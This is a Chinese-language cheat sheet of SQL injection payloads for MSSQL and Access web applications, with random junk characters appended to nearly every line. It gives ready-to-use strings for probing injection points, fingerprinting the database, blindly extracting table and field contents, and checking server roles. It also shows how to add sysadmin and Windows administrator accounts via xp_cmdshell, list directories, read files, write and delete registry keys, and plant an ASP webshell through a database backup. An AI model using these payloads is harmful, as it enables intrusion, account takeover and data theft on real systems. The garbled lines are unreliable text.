1.判断是否有注入;and 1=1 ;and 1=2 9g%1^$R
2.初步判断是否是mssql ;and user>0 *4]u?R
KZ8Hp=s
3.注入参数是字符'and [查询条件] and ''=' 3<Qe'd
^
%t&
4.搜索时没过滤参数的'and [查询条件] and '%25'=' k@[\C`P
tOUpK20q.@
5.判断数据库系统 T!-*; yu
+qN}oyL
;and (select count(*) from sysobjects)>0 mssql j1[Ng #.
T22
4L.?
;and (select count(*) from msysobjects)>0 access MR")
rw:z|-r
B49:
R>
6-"@j@l5<
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Vr/UY79
'mwgHo<u
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q,pnh!.-c
"==fWf
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 v)+E!"R3.
jh7-Fl`
9.(1)猜字段的ascii值(access) +Cf"rN
B{}<DP.
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1f3c3PJ
[)efh9P*
(2)猜字段的ascii值(mssql) EKQ\MC1
q!L@9&KAQ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 hJ~Na\?w
&m{SWV+
10.测试权限结构(mssql) tVI6GXH
R1sWhB99
> nHaMj
sd5%S zx
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ??Lda='
E; `@S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7'IcgTWDZy
=()Vrk|uK
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- D*T*of G
E`0mn7.t
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- gc<w nm|
c{"=p8F_
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- HB|R1<t;HB
io&FW!J.
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- JxP&znng
fBj-R~;0
;and 1=(select IS_MEMBER('db_owner'));-- %P8*Az&]T
+ *xi&|%
=1MVF
e]9Z]a2
11.添加mssql和系统的帐户 LyR bD$m
"O}u2B b
;exec master.dbo.sp_addlogin username;-- qV$\E=%fhM
;exec master.dbo.sp_password null,username,password;-- K*!qt(D&
`;~A
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?hC,49
{>v5~G
;exec master.dbo.xp_cmdshell 'net user username password nrEG4X9
e=ITAH3b
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- gZf8/Tp\z
s(.H"_a
;exec master.dbo.xp_cmdshell 'net user username password /add';-- @PL.7FM<v
M)qb6aD0
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- W(#u^,$e[
}Fq~!D
Ee
f(Su
Xp67l!{v
12.(1)遍历目录 >TQNrS^$J
\rpXG9
;create table dirs(paths varchar(100), id int)
;2y4^
=&K8~
;insert dirs exec master.dbo.xp_dirtree 'c:\' aPToP.e
c0ue[tb
;and (select top 1 paths from dirs)>0 <q`'[1Y4
dug^o c1
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5+DId7d'n
m7#v2:OD+
e,K.bgi
Q8H+=L:
(2)遍历目录 /R(]hmW
#c%FpR4
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- v ^R:XdH
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 f1$'av
<9 dfbI)
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 [4 v1
N
yM2}JsC
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w}qLI4
_LSp \{Z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1w!O&kn
C0gY
agGgj>DDd
c5em*qCw$
13.mssql中的存储过程 |Vo{ {)
7 1+
bn
xp_regenumvalues 注册表根键, 子键 |!q,J
elGwS\sw
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 mHyT1e
>bFrJz}
xp_regread 根键,子键,键值名 9;7|MPbR
(V x2*Aw]
;exec xp_regread OLZs}N+ ;]
Gk']Ma2J}
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 "wR1=&gk
8l l}"
xp_regwrite 根键,子键, 值名, 值类型, 值 =5;tB
=E
w<s5C@
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Qv
WvS9]
Q?2GwN
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 8-"D.b4
HcQ)XJPK
xp_regdeletevalue 根键,子键,值名 QJy1j~9x
K>vi9,4/ks
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $%6.lQ
JJHO E{%
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9Ca }+
b_ vKP
(M 2hK[
M?_7*o]!
14.mssql的backup创建webshell 7n)ob![\d
%-KgR
use model w `nm}4M
T'ei>]y]
create table cmd(str image); &n'@L9v81
Ih HKRb[
insert into cmd(str) values (''); RT.
%\)))
Alk+MwjR
backup database model to disk='c:\l.asp'; @u@,Edh
u]*f^/6Q
l@0${&n
O2:1aG
15.mssql内置函数 %i) 0sET
tIT/HG_o
;and (select @@version)>0 获得Windows的版本号 d=0{vsrB
,R\e x =c
;and user_name()='dbo' 判断当前系统的连接用户是不是sa N*f]NCSi
-asjBSo*D
;and (select user_name())>0 爆当前系统的连接用户 25j?0P"&
d%K&
;and (select db_name())>0 得到当前连接的数据库 V-(*{/^"
(l -l
Y
ZPG~@lU
7_R[=t
16.简洁的webshell ?3%r:g4
OFxCV`>ce
use model j>?`N^
PLJDRp 2o
create table cmd(str image); ..R JHa6B
q`3HHq
insert into cmd(str) values (''); eH V#Mey[
UX'q64F!
backup database model to disk='g:\wwwtest\l.asp';